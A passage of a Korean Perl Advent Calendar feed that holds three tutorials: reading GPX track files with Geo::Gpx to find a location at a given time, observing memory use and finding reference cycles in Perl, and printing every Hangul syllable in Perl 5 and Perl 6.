마찬가지로 꼭 운동이 아니더라도 여행을 다닌다던가, 걷는 것을 즐기는 경우에도
지도 상에서 다녔던 곳을 확인하기 위해 GPS 좌표를 기록하는 경우가 많죠.
이런 GPS 좌표 파일은 보통 GPX, FIT, TCX, KML 등의 파일 확장자를 가지며,
표준화 되어 있기 때문에 쉽게 원하는 정보를 추출할 수 있습니다.
이 GPS 좌표 파일 중 가장 널리 쓰이는 <a href="https://en.wikipedia.org/wiki/GPS_Exchange_Format">GPX 파일</a>을 이용해
몇 시 몇 분 쯤 어디에 있었는지 확인하는 방법을 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Geo::Gpx">CPAN의 Geo::Gpx 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Geo::Gpx
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Geo::Gpx
</pre>
<h2 id="recordyouractivity">Record Your Activity!</h2>
<p>자신의 GPS 트래커 기기를 이용하거나 스마트폰의 GPS 레코딩 앱을 이용해 야외 활동 경로를 기록합니다.
이후 저장 방식을 GPX로 지정하거나 또는 GPX로 내보내기 기능을 이용해 필요한 파일을 확보합니다.</p>
<p><img src="2016-12-19-1_r.png" alt="GPX로 내보내기" id="gpx" />
<em>그림 1.</em> GPX로 내보내기 (<a href="2016-12-19-1.png">원본</a>)</p>
<p><a href="https://en.wikipedia.org/wiki/GPS_Exchange_Format">GPX</a>는 <strong>GPS Exchange Format</strong>이며 비교적 굉장히 단순한 구조를 가지고 있습니다.
저장 형식으로 표준 XML을 사용하기 때문에 직접 편집기를 이용해 열어
내용을 확인하거나 수정하기에도 크게 어렵지는 않습니다.
GPX 파일을 살펴 보면 다음과 같은 형식을 가집니다.</p>
<pre class="brush: xml;">
<?xml version="1.0" encoding="UTF-8"?>
<gpx creator="StravaGPX" version="1.1" xmlns="http://www.topografix.com/GPX/1/1" ...>
<metadata>
<time>2016-12-17T05:23:20Z</time>
</metadata>
<trk>
<name>Afternoon Ride</name>
<trkseg>
<trkpt lat="37.5509440" lon="127.0918020">
<ele>29.6</ele>
<time>2016-12-17T05:24:50Z</time>
<extensions>
<gpxtpx:TrackPointExtension>
<gpxtpx:atemp>18</gpxtpx:atemp>
<gpxtpx:hr>118</gpxtpx:hr>
<gpxtpx:cad>0</gpxtpx:cad>
</gpxtpx:TrackPointExtension>
</extensions>
</trkpt>
<trkpt>
...
</trkpt>
...
<trkpt lat="37.5735420" lon="127.0380430">
<ele>9.0</ele>
<time>2016-12-17T05:38:31Z</time>
<extensions>
<gpxtpx:TrackPointExtension>
<gpxtpx:atemp>7</gpxtpx:atemp>
<gpxtpx:hr>148</gpxtpx:hr>
<gpxtpx:cad>81</gpxtpx:cad>
</gpxtpx:TrackPointExtension>
</extensions>
</trkpt>
...
<trkpt>
...
</trkpt>
</trkseg>
</trk>
</gpx>
</pre>
<p>샘플 파일은 가민 트래커를 이용해서 기록한 뒤 스트라바라는 웹서비스에
업로드 한 후 GPX로 변환 다운로드 받은 파일입니다.
크게 웨이포인트(waypoint)와 트랙(track), 라우트(route)로 구성되는데,
우리가 관심 있는 실제 나의 궤적 자체는 트랙 요소(<code>trk</code>) 아래의 트랙 포인트 요소(<code>trkpt</code>)로 저장됩니다.
정확히는 트랙 요소 아래, 트랙 세그먼트 요소(<code>trkseg</code>) 아래에 위치합니다만, 크게 중요하지는 않습니다. :)
트랙 포인트 요소의 <code>lat</code> 속성과 <code>lon</code> 속성이 바로 우리가 필요로 하는 <a href="https://ko.wikipedia.org/wiki/%EC%9C%84%EB%8F%84">위도</a>, <a href="https://ko.wikipedia.org/wiki/%EA%B2%BD%EB%8F%84">경도</a> 좌표입니다.</p>
<h2 id="gpx">GPX 파일 읽기</h2>
<p>XML 파일이니 만큼 Perl에서 즐겨 쓰는 XML 파싱 모듈을 사용해도 되나,
굳이 바퀴를 재발명할 필요는 없겠죠?
<a href="https://metacpan.org/pod/Geo::Gpx">CPAN의 Geo::Gpx 모듈</a>을 이용하면, 번거롭게 XML 파싱 작업없이
바로 원하는 트랙 정보를 추출할 수 있습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use feature qw( say );
use Geo::Gpx;
my $gpx_file = "2016-12-17.gpx";
open my $fh, "<", $gpx_file
or die "cannot open $gpx_file file: $!\n";
my $gpx = Geo::Gpx->new(
input => $fh,
) or die "cannot load gpx from $gpx_file file\n";
close $fh;
</pre>
<p><code>Geo::Gpx</code> 모듈은 객체지향 모듈이며, 개체 생성 시 GPX 문자열 정보,
즉 XML 문자열을 읽어들여 내부 자료 구조에 적재합니다.
다만 파일 이름을 인자로 지원하지 않기 때문에, XML 문자열 자체를
넘겨주거나, 또는 해당 파일의 파일 핸들을 넘겨주어야 합니다.
특별히 문제가 없다면 파일 읽기가 끝나버렸습니다.
좀 싱겁죠? :)</p>
<p>이제 gpx 내의 트랙 포인트를 읽어들여 봅시다.</p>
<pre class="brush: perl;">
...
use utf8;
use strict;
use warnings;
use feature qw( say );
use Geo::Gpx;
...
close $fh;
my $iter = $gpx->iterate_points;
while ( my $pt = $iter->() ) {
my $time = $pt->{time};
my $lat = $pt->{lat};
my $lon = $pt->{lon};
my $ele = $pt->{ele};
say "$time,$lat,$lon";
}
</pre>
<p>GPX 파일의 트랙 요소 아래에는 수 많은 트랙 포인트 요소가 저장되어 있습니다.
<code>iterate_points()</code> 메소드를 사용하면 이 트랙 요소를 순회할 수 있습니다.
각각의 트랙 포인트 요소는 <code>time</code>, <code>lat</code>, <code>lon</code>, <code>ele</code> 등의 해시 참조로 구성되어 있습니다.
시간 정보와 위도, 경도 정보만 출력한 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./gpx.pl
1481952502,37.5573480,127.0796410
1481952503,37.5573730,127.0795700
1481952504,37.5573960,127.0794930
1481952505,37.5574230,127.0794140
1481952506,37.5574490,127.0793400
...
$
</pre>
<p>제법 원하는 결과물에 다가가고 있습니다.
그런데 제일 앞의 시간 정보가 <a href="https://en.wikipedia.org/wiki/Unix_time">에포크 시간</a>이군요.
막상 자료 처리할 때는 에포크 형식이 더 명확하고 편하기는 하지만,
결과물로써 눈으로 확인하기에는 감이 오지 않는 단점이 있습니다.
우리에게 익숙한 년월일 및 시분초 형식으로 바꿔보죠.
<code>Geo::Gpx</code> 모듈은 <a href="https://metacpan.org/pod/DateTime">CPAN의 DateTime 모듈</a> 형식을 지원하므로,
객체 생성시 <code>use_datetime</code> 속성을 참으로 설정해보죠.</p>
<pre class="brush: perl;">
my $gpx = Geo::Gpx->new(
input => $fh,
use_datetime => 1,
) or die "cannot load gpx from $gpx_file file\n";
</pre>
<p>이제 실행 결과를 살펴볼까요?</p>
<pre class="brush: bash;">
$ ./gpx.pl
2016-12-17T05:28:22,37.5573480,127.0796410
2016-12-17T05:28:23,37.5573730,127.0795700
2016-12-17T05:28:24,37.5573960,127.0794930
2016-12-17T05:28:25,37.5574230,127.0794140
2016-12-17T05:28:26,37.5574490,127.0793400
...
$
</pre>
<p>꽤 익숙한 형식입니다.
어이쿠! 그런데 새벽 다섯시라뇨... 저는 토요일 같은 주말에는
절대 해가 중천에 뜨기 전에는 일어나지 않는데 어찌 된 것일까요?
당시 제가 움직였던 시간은 대충 오후 2시 쯤이었는데 말이죠.
아하! 일정하게 9시간 차이가 나는 것을 보니 시간대 문제겠군요.
<code>DateTime</code> 모듈의 <code>set_time_zone()</code> 메소드를 사용해서 시간대를 설정하면 간단히 해결됩니다.</p>
<pre class="brush: perl;">
my $iter = $gpx->iterate_points;
while ( my $pt = $iter->() ) {
my $time = $pt->{time};
my $lat = $pt->{lat};
my $lon = $pt->{lon};
my $ele = $pt->{ele};
$time->set_time_zone("Asia/Seoul");
say "$time,$lat,$lon";
}
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./gpx.pl
2016-12-17T14:28:22,37.5573480,127.0796410
2016-12-17T14:28:23,37.5573730,127.0795700
2016-12-17T14:28:24,37.5573960,127.0794930
2016-12-17T14:28:25,37.5574230,127.0794140
2016-12-17T14:28:26,37.5574490,127.0793400
...
$
</pre>
<p>이제 제대로 된 값이 나오는군요. :)</p>
<h2>시간, 좌표 해시</h2>
<p>우리가 원하는 최종 결과물은 특정 시간대에 나의 위치를 알고 싶은 것이므로
트랙 포인트를 순회하는 반복문을 조금 수정해서
시간을 키로, 좌표를 값으로 가지는 해시를 생성해보죠.</p>
<pre class="brush: perl;">
my %whereami;
my $iter = $gpx->iterate_points;
while ( my $pt = $iter->() ) {
my $time = $pt->{time};
my $lat = $pt->{lat};
my $lon = $pt->{lon};
my $ele = $pt->{ele};
$time->set_time_zone("Asia/Seoul");
my $key = $time->strftime("%Y%m%d-%H%M%S");
$whereami{$key} = {
lat => $lat,
lon => $lon,
};
}
</pre>
<p><code>%whereami</code> 해시에 <code>20161217-142825</code>와 같은 형식의 시간 정보를 키로,
위도와 경도 좌표를 값으로 가지는 자료가 저장됩니다.
이제는 이 해시를 이용해서 원하는 시각의 좌표를 추출하면 됩니다.
프로그램이 명령줄 인자를 받아서 처리하도록 하죠.</p>
<pre class="brush: perl;">
...
use Geo::Gpx;
my $ymd_hms = shift;
die "Usage: $0 <YYYYmmdd-HHMMSS>\n"
unless $ymd_hms && $ymd_hms =~ m/^\d{8}-\d{6}$/;
my $gpx_file = "2016-12-17.gpx";
...
</pre>
<p>반복문을 통해 <code>%whereami</code> 해시가 생성된 뒤에는 명령줄에서 입력받은
<code>$ymd_hms</code> 값을 이용해서 해당 좌표를 화면에 출력합니다.</p>
<pre class="brush: perl;">
...
my %whereami;
my $iter = $gpx->iterate_points;
while ( my $pt = $iter->() ) {
...
}
die "cannot find GPS information\n" unless exists $whereami{$ymd_hms};
my $lat = $whereami{$ymd_hms}{lat};
my $lon = $whereami{$ymd_hms}{lon};
say "$lat,$lon";
say "https://www.google.co.kr/maps/place/\@$lat,$lon,17z/data=!3m1!4b1!4m5!3m4!1s0x0:0x0!8m2!3d$lat!4d$lon";
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./gpx.pl 20161217-154105
37.5746630,126.9781280
https://www.google.co.kr/maps/place/@37.5746630,126.9781280,17z/data=!3m1!4b1!4m5!3m4!1s0x0:0x0!8m2!3d37.5746630!4d126.9781280
$
</pre>
<p>짜잔! ;-)</p>
<p><img src="2016-12-19-2_r.png" alt="Where Were I?" id="wherewerei" />
<em>그림 2.</em> Where Were I? (<a href="2016-12-19-2.png">원본</a>)</p>
<h2>정리하며</h2>
<p>생각보다 간단히 단 몇 줄의 코드로 GPX 파일을 파싱하고 원하는 시각의 위치 정보를 추려보았습니다.
모듈의 특성 상 실행할 때마다 매번 GPX 파일을 읽고 적재하기 때문에 추출한 해시 결과값을
별도의 캐시 등에 저장한다면 여러번 질의를 할 때 더욱 빠른 속도로 처리할 수 있습니다.
또는 단순 캐시가 아닌 데이터베이스에 영구적으로 저장한다면 활용도가 더 다양해지겠죠.
또한 GPX 파일은 기록을 저장하는 방식에 따라 1초에도 여러 포인트를 기록하기도 하고
또는 수십초에 한 번의 포인트를 저장하기도 합니다.
따라서 내가 특정 시각의 위치를 요청했을 때 그 위도와 경도 값이
GPX 파일에는 저장되어 있지 않을 수 있습니다.
이런 경우 단순히 자료가 없다고 할 것인지, 가장 가까운 시각 정보를 보여줄 것인지,
또는 중간 지점을 추측할 것인지 등의 처리가 필요하기도 합니다.
이후 작업은 여러분의 숙제로 남겨두죠.
지리 정보 처리도 펄과 함께라면 어렵지만은 않다는 것 잊지마세요! ;-)</p>
<p><em>EOT</em></p>
2016-12-19T00:00:00+09:00keediPerl의 메모리 관리http://advent.perl.kr/2016/2016-12-15.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/junhochoi">@junhochoi</a> - Neumob Inc., 전 FreeBSD 커미터(cjh <em>at</em> freebsd.org), junho.choi <em>at</em> gmail.com
Perl은 4.0시절부터 텍스트 처리, 시스템 관리, 네트워크 서버, API 서버등 다양한 분야에서
사용하고 있습니다.</p>
<h2>시작하며</h2>
<p>Perl은 보통 스크립트나 웹 서버의 페이지 작성 등 다양한 용도로 사용됩니다만,
사용하기에 따라서는 간단한 웹 서버라든가 데몬(daemon) 형태로도 띄우게 됩니다.
Perl이 장시간 실행이 되는 경우 부딪치게 되는 문제 중 하나가 메모리 관리입니다.
Perl의 메모리 관리에 대해서 간단히 알아보고 장기간 실행되는 Perl 스크립트의 경우
발생할 수 있는 <a href="https://en.wikipedia.org/wiki/Memory_leak">메모리 누수(memory leak)</a>를 줄이기 위한 방법을 알아봅니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Devel::Cycle">CPAN의 Devel::Cycle 모듈</a></li>
<li><a href="https://metacpan.org/pod/Memory::Usage">CPAN의 Memory::Usage 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Devel::Cycle \
Memory::Usage
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Devel::Cycle \
Memory::Usage
</pre>
<h2 id="perl">Perl의 메모리 관리</h2>
<p>기본적으로 Perl을 배우는 과정에서 메모리 할당/해제의 경우는 거의 신경쓰지 않고 배우는 것이 보통입니다.
사실 그런 것들을 신경쓰지 않으려고 Perl 같은 스크립트 언어를 배우는 것이기도 하구요.
많은 스크립트 언어들이 그렇듯이 사용자의 편의를 위해서 메모리 관리를 자동화 한 것이 Perl의
특징이기도 합니다만, 메모리 관리를 신경써야 하는 장시간 돌아가는 스크립트의 경우
이러한 편리함은 반대로 문제로 다가옵니다.</p>
<p>대부분의 운영체제에서 실행되는 프로그램은 동적인 메모리 할당으로 <a href="https://en.wikipedia.org/wiki/Memory_management#HEAP">힙(heap)</a>을 사용합니다.
Perl도 자동으로 할당되는 메모리를 이 힙 영역에 할당하고,
<a href="https://en.wikipedia.org/wiki/Reference_counting">참조 횟수 계산 방식(reference counting)</a> 기반으로 메모리를 관리합니다.
해시나 배열에 새로운 값을 넣거나, 객체를 만들거나 하면 메모리가 할당(<code>malloc()</code> 함수를 생각하면 됩니다) 됩니다.
다시 말하면 할당된 메모리를 가리키는 변수의 갯수를 세고 있고,
이 갯수 값이 0이 되면 메모리가 해제 <em>가능</em>한 상태가 됩니다.
해제 가능한 상태가 되면 바로 메모리가 해제(free()를 생각하면 됩니다)되는 것이 아니라
내부적으로 재사용 가능한 상태가 되고, 나중에 메모리를 필요한 경우가 생기면
새로 힙에서 할당하는 것이 아니라 재사용 가능한 메모리 영역을 먼저 사용 합니다.
따라서 Perl의 메모리 이용을 관찰해 보면 일단 <em>항상 증가하는 것 처럼</em> 보이게 됩니다.</p>
<h2>메모리 할당의 관찰</h2>
<p>여러가지 도구가 있습니다만 간단하게는 <a href="https://metacpan.org/pod/Memory::Usage">Memory::Usage 모듈</a>를
사용하면 간단한 메모리 할당량을 추적할 수 있습니다.
이 모듈은 <code>/proc/$pid/statm</code> 파일을 읽기 때문에 Linux에서만 정상 실행된다는 점에 주의하세요.</p>
<pre class="brush: perl;">
use strict;
use Memory::Usage;
my $m = Memory::Usage->new();
$m->record("start");
$m->record("start");
my $size = 1000000; # 1m
my @a = 1 .. $size;
$m->record("new array");
@a = 1 .. 10000;
$m->record("reinit array");
undef @a;
$m->record("undef array");
@a = ($size+1) .. ($size*1.5);
$m->record("reinit array");
$m->dump();
</pre>
<p>Ubuntu 14.04 LTS, 64-bit Intel CPU에서 실행한 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl memory.pl
time vsz ( diff) rss ( diff) shared ( diff) code ( diff) data ( diff)
0 20364 ( 20364) 3060 ( 3060) 1784 ( 1784) 8 ( 8) 1764 ( 1764) start
0 90608 ( 70244) 73544 ( 70484) 1832 ( 48) 8 ( 0) 72008 ( 70244) new array
0 90608 ( 0) 73544 ( 0) 1832 ( 0) 8 ( 0) 72008 ( 0) reinit array
0 82792 ( -7816) 65744 ( -7800) 1832 ( 0) 8 ( 0) 64192 ( -7816) undef array
1 86776 ( 3984) 69640 ( 3888) 1836 ( 0) 8 ( 0) 68176 ( 3984) reinit array
</pre>
<p>처음에 <code>@a</code>를 1,000,000개 원소의 배열로 초기화 하면 메모리가 70244Kbytes (data의 diff를 보면 됩니다)
늘어난 것을 확인할 수 있습니다. 대략 원소당 70 바이트 정도 되는군요.</p>
<p>두번째로 다시 10,000개 원소의 배열을 할당하면, 늘어난 크기가 0이므로
줄어든 메모리도 없지만 늘어난 메모리도 없음을 알 수 있습니다.
10,000개의 원소는 새로 할당한 것이 아니라 기존에 참조가 없어진
백만 원소의 배열 안에서 재사용되었음을 짐작할 수 있습니다.</p>
<p>그나마 할당된 메모리를 해제할 수 있는 방법이 <code>undef</code>입니다만, 이마저도 완전히 보장해 주지는 못합니다.
세번째로 <code>undef</code>를 사용한 경우 <code>@a</code>는 <code>undef</code>로 초기화 됩니다만, 돌아온 메모리는 7816 Kbytes에 불과 하므로
여전히 약 64 Mbytes를 사용하고 있는 것을 알 수 있습니다.
이는 두번째의 할당을 제외하고 실행 해도 마찬가지 결과를 얻습니다.</p>
<p>네번째로 다시 50만개의 원소를 (겹치지 않는 숫자로) 할당해 보면, 3984 Kbytes만 추가되는 것으로
보아 기존에 힙에 할당되어 있던 메모리가 대부분 재사용된 것을 알 수 있습니다.</p>
<h2>메모리 누수도 발생 하나요?</h2>
<p>가능 합니다. 사용된 메모리를 가리키는 변수(해시, 배열 등 포함)을 관리하고 있는데,
여기서 메모리 참조에 순환(cycle)이 발생하면 이 경우 나중에 해제될 기회를 갖지 못하게 됩니다.
이런 순환 구조를 찾는 것은 동적으로 많은 데이터가 할당되는 경우 쉽게 알기 힘들 수 있지만,
<a href="https://metacpan.org/pod/Devel::Cycle">Devel::Cycle 모듈</a>을 사용하면 힌트를 얻을 수 있습니다.
예제는 다음과 같습니다.</p>
<pre class="brush: perl;">
use strict;
use Devel::Cycle;
use Data::Dumper;
my $test = { hello => world };
# 자기 참조
$test->{world}{next} = $test;
print Dumper($test);
find_cycle($test);
</pre>
<p><code>find_cycle()</code>함수에 찾아보고자 하는 변수를 넣어 주면
순환 참조 오류(reference cycle)가 발생하는 경우를 알려 줍니다.
실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$VAR1 = {
'world' => {
'next' => $VAR1
},
'hello' => 'world'
};
Cycle (1):
$A->{'world'} => \%B
$B->{'next'} => \%A
</pre>
<p><code>$test</code>는 <code>{world}{next}</code>가 다시 <code>$test</code>를 가리키고 있으므로 참조 사이클이 발생하고 있음을 알 수 있습니다.
이 다음의 <code>Cycle (1)</code>로 시작하는 곳이 <code>find_cycle()</code>의 출력인데 어떤 부분이 참조 사이클이 되어 있는지 알 수 있습니다.
사이클이 없다면 아무것도 표시되지 않습니다.</p>
<p>Perl 변수의 내부 구조에 대해서 더 자세히 알고 싶다면 <a href="https://metacpan.org/pod/Devel::Peek">CPAN의 Devel::Peek 모듈</a>을
사용하면 됩니다만, 내부 구조 자체에 관심이 없다면 <code>Data::Dumper</code>로 충분하지 않을까 합니다.</p>
<h2>메모리 사용량이 신경 쓰여요!</h2>
<p>대부분의 Perl 스크립트는 단기간 실행되는 것이 대부분이라 메모리 사용량에 대해서 크게 신경쓰지 않습니다.
하지만 많은 데이터를 처리해야 하거나 네트워크 서버 형태로 오래 실행되어야 하는 경우
메모리 할당으로 점유하는 메모리 용량이 계속 커지는 현상을 볼 수 있습니다.
이런 경우를 방지할 수 있는 몇 가지 팁을 생각해 보면 다음과 같습니다.</p>
<ul>
<li>파일을 읽어 들어야 하는 경우 통째로 읽기보다 행 단위로 읽거나 버퍼의 크기를 정해서 읽음.
<a href="https://metacpan.org/pod/File::Slurp">File::Slurp 모듈</a> 같은 경우 사용하기 쉬운 만큼 남용하기도 쉬움.</li>
<li>사용하지 않는 경우 <code>undef</code>로 최대한 메모리를 해제(단 100% 보장은 못합니다)</li>
<li>메모리 참조 사이클이 발생하지 않도록 해시나 참조(reference) 구조를 만듬.</li>
<li>많은 메모리 사용이 예상되는 경우 별도 프로세스로 분리해서 실행합니다.</li>
<li>프로세스 자체의 메모리를 감시하다가 사용자에게 경고를 주거나 스스로 종료.
<a href="https://perl.apache.org/docs/2.0/api/Apache2/Resource.html"><code>mod_perl</code>의 경우 프로세스를 자체 감시하는 기능</a>이 그 예.</li>
</ul>
<p>이런 것들이 쉬운 일은 아닙니다만, 어느정도 메모리 사용을 염두에 두고 프로그램을 작성하고
내부적으로 메모리 사용을 관찰할 수 있다면 경우에 맞는 대처가 가능할 것이라 생각합니다.
또한 할당된 힙 메모리는 재사용이 되고 있으므로, 어느정도 반복적으로 사용이 되면
메모리 사용량이 더 증가하지 않으므로, 일정 시간 동안 관찰하는 것이 꼭 필요 합니다.
초반에 메모리 사용이 늘어나는 것은 당연할 수 있지만, 지속적으로 늘어나기만 한다면
그건 어딘가에서 메모리 누수가 발생하고 있다는 의미겠지요.</p>
<h2>정리하며</h2>
<p>Perl로 프로그램을 작성하면서 메모리 관리까지 신경써야 경우가 얼마나 있을까라는
생각이 들지도 모릅니다만, 몇 가지 경험과 기존의 자료를 바탕으로 이야기해 보았습니다.
C로 작성하는 것 만큼 정밀한 제어는 불가능하겠지만,
문제가 발생하는 경우하면 이 글이 좋은 시작점이 될 것이라 생각합니다.
더 관심이 있다면 <a href="http://stackoverflow.com/questions/429254/how-can-i-find-memory-leaks-in-long-running-perl-program">스택오버 플로우의 How can I find memory leaks in long-running Perl program?</a> 글타래를 살펴보세요.
기사에서 소개한 모듈 이외의 고급 모듈을 더 찾아볼 수 있습니다. :)</p>
2016-12-15T00:00:00+09:00junhochoiPerl로 한글의 모든 글자를 출력해보자http://advent.perl.kr/2016/2016-12-14.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/studioego">@studioego</a> - 평범한 자바 개발자입니다.
어릴 때 남들은 영어를 배울 때, 혼자서 한자를 배웠던 사람.
한자(漢字, 汉字, Chinese Character)에 대하여 관심이 많으며, 동아시아 언어 처리에 관심이 많음.
취미로 일본어와 중국어를 열심히 공부하고 있습니다.
유니코드 한자관련 내용에 흥미가 있어 유니코드 컨소시엄의 후원 문자(Adopted Characters)에 <a href="http://www.unicode.org/consortium/adopted-characters.html#b5FB7">후원</a>을 하기도 했습니다.
<a href="https://wiki.gnome.org/action/show/Apps/Gucharmap">GNOME gucharmap</a> 9.0.2버전부터 한자에 대한 한글표기와 베트남어 표기를
추가(<a href="https://bugzilla.gnome.org/show_bug.cgi?id=773380">버그질라</a>, <a href="https://github.com/GNOME/gucharmap/commit/b3614d114bc2158f8e5c4b98797019f3a71d0ba7">소스 코드</a>)한
오픈소스 기여자(contributer), 자유 소프트웨어 개발자입니다.
sungdh86+git <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>이 글은 O’Reilly의 Learning Perl 책의 저자인 brian d foy씨가 운영하는 Learning Perl 6 블로그의
<a href="https://www.learningperl6.com/2016/11/16/quick-tip-1-user-defined-infinite-sequences/">Quick Tip #1: User-defined infinite sequences</a>과
<a href="https://www.learningperl6.com/2016/11/27/quick-tip-12-unicode-helper-apps/">Quick Tip #12: Unicode Helper Apps</a>의 내용을 참고하여 만들었습니다.
저는 문자 특히 한자(漢字/汉字)에 대하여 관심이 많은 사람입니다.
그래서 한자 처리에 대한 내용을 찾다보니 Perl이란 언어에 대하여 관심을 가지게 되었습니다.
한자 처리에 관심을 가지게 되니 자연스럽게 한글 처리에도 관심을 가지게 되었습니다.
<a href="http://advent.perl.kr/2016/2016-12-07.html">일곱째 날 기사</a>에서는 Perl 5와 Perl 6를 이용해서
유니코드의 코드 포인트로 해당 유니코드 글자를 출력하는 법을 확인했습니다.
이번에는 한글의 모든 문자를 출력하는 방법에 대하여 확인해볼까요?</p>
<h2>준비물</h2>
<p>Perl 6를 설치합니다.
그리고 Perl 5도 있으면 Perl 6와 어떤 차이가 있는지 비교할 수 있으니 금상첨화겠죠?</p>
<h2>한글과 유니코드 코드 포인트</h2>
<p><a href="https://en.wikipedia.org/wiki/Unicode">유니코드(Unicode)</a>와 코드 포인트(code point)에 대해서는
<a href="http://advent.perl.kr/2016/2016-12-07.html">일곱째 날: Perl로 유니코드(Unicode) 코드 포인트(code point)에 해당하는 글자를 확인해보자</a> 기사를 참고하세요.
유니코드 문자의 경우는 문자의 코드값를 표기할 때 코드 포인트를 사용하며, <code>U+[16진수 숫자]</code>로 표시합니다.
예를 들어 <code>A</code>의 유니코드 값은 <code>U+0041</code>로 표기 하며,
한글 역시 다른 유니코드와 마찬가지로 코드 포인트로 표현합니다.
한글 음절, 한글 자모 모두 코드 포인트로 등록되어있죠.
자모는 초성, 중성, 종성으로 나뉘며, 초성은 <code>U+1100</code>부터 <code>U+115E</code>까지의 범위를,
중성은 <code>U+1161</code>부터 <code>U+11A7</code>까지의 범위를,
종성은 <code>U+11A8</code>부터 <code>U+11FF</code>까지의 범위를 가집니다.
예를 들어, 음절 <code>가</code>의 코드 포인트는 <code>U+AC00</code>입니다.
음절 <code>각</code>의 코드 포인트는 <code>U+AC01</code>이며, 초성과 중성, 종성 3가지로 분해해 <code>ㄱㅏㄱ</code>으로 표시할 수 있습니다.
이 때 분리한 초성 <code>ㄱ</code>의 코드 포인트는 <code>U+1100</code>,
중성 <code>ㅏ</code>의 코드 포인트는 <code>U+1161</code>, 종성 <code>ㄱ</code>의 코드 포인트는 <code>U+11A8</code>입니다.</p>
<p><a href="http://ftp.unicode.org/Public/UNIDATA/Blocks.txt">유니코드 블록 정의 파일</a>을 살펴보면 유니코드 문자 집합의 범위를 확인할 수 있습니다.
파일의 내용을 일부만 살펴보면 다음과 같습니다.</p>
<pre class="brush: plain;">
# Blocks-9.0.0.txt
# Date: 2016-02-05, 23:48:00 GMT [KW]
# © 2016 Unicode®, Inc.
# For terms of use, see http://www.unicode.org/terms_of_use.html
#
# Unicode Character Database
# For documentation, see http://www.unicode.org/reports/tr44/
#
# Format:
# Start Code..End Code; Block Name
(생략)
0000..007F; Basic Latin
0080..00FF; Latin-1 Supplement
0100..017F; Latin Extended-A
0180..024F; Latin Extended-B
0250..02AF; IPA Extensions
02B0..02FF; Spacing Modifier Letters
0300..036F; Combining Diacritical Marks
(생략)
20000..2A6DF; CJK Unified Ideographs Extension B
2A700..2B73F; CJK Unified Ideographs Extension C
2B740..2B81F; CJK Unified Ideographs Extension D
2B820..2CEAF; CJK Unified Ideographs Extension E
2F800..2FA1F; CJK Compatibility Ideographs Supplement
E0000..E007F; Tags
E0100..E01EF; Variation Selectors Supplement
F0000..FFFFF; Supplementary Private Use Area-A
100000..10FFFF; Supplementary Private Use Area-B
# EOF
</pre>
<p>유니코드 전체 코드 중 한글 집합의 범위만 확인하고 싶다면 다음 명령을 실행해보세요.</p>
<pre class="brush: bash;">
$ curl http://ftp.unicode.org/Public/UNIDATA/Blocks.txt 2>/dev/null | grep Hangul
1100..11FF; Hangul Jamo
3130..318F; Hangul Compatibility Jamo
A960..A97F; Hangul Jamo Extended-A
AC00..D7AF; Hangul Syllables
D7B0..D7FF; Hangul Jamo Extended-B
$
</pre>
<h2>한글 음절을 모두 출력해보자</h2>
<p>Perl 6로 <strong>한글 음절</strong>(<strong>Hangul Syllables</strong>) 전체를 출력해봅시다.
이 때 터미널 인코딩은 <strong>UTF-8</strong>로 설정했다고 가정합니다.</p>
<pre class="brush: perl;">
my %hash;
%hash<hangulSyllables> := :16("AC00") ... :16("D7AF");
for %hash<hangulSyllables> {
say "U+", ($_).base(16), " ", chr($_);
}
</pre>
<p>Perl 5의 경우 코드는 다음과 같습니다.
이 때 터미널 인코딩은 <strong>UTF-8</strong>로 설정했다고 가정합니다.</p>
<pre class="brush: perl;">
use open ":std", ":encoding(UTF-8)";
my @blocks = ( hex("AC00") .. hex("D7AF") );
for my $block (@blocks) {
printf "U+%X %s\n", $block, chr($block);
}
</pre>
<p><code>use open ...</code> 구문을 빼먹는다면 <code>Wide character in printf at ...</code>과 같은 경고가 발생하므로
Perl 5에서는 Perl 6와 다르게 유니코드 설정을 명시적으로 해줘야 합니다.</p>
<p>두 코드 모두의 실행 결과는 동일합니다.</p>
<pre class="brush: plain;">
U+AC00 가
U+AC01 각
U+AC02 갂
U+AC03 갃
U+AC04 간
U+AC05 갅
(생략)
U+D79E 힞
U+D79F 힟
U+D7A0 힠
U+D7A1 힡
U+D7A2 힢
U+D7A3 힣
U+D7A4
U+D7A5
U+D7A6
U+D7A7
U+D7A8
U+D7A9
U+D7AA
U+D7AB
U+D7AC
U+D7AD
U+D7AE
U+D7AF
</pre>
<p>앞의 코드는 <code>가</code>에서 <code>힣</code>까지 미리 조합된 한글 전체 음절을 화면에 출력합니다.
여기서 유니코드에서 <strong>한글 음절</strong>에 대하여 <strong>11,172자를 할당</strong>했다는 것을 확인할 수 있습니다.
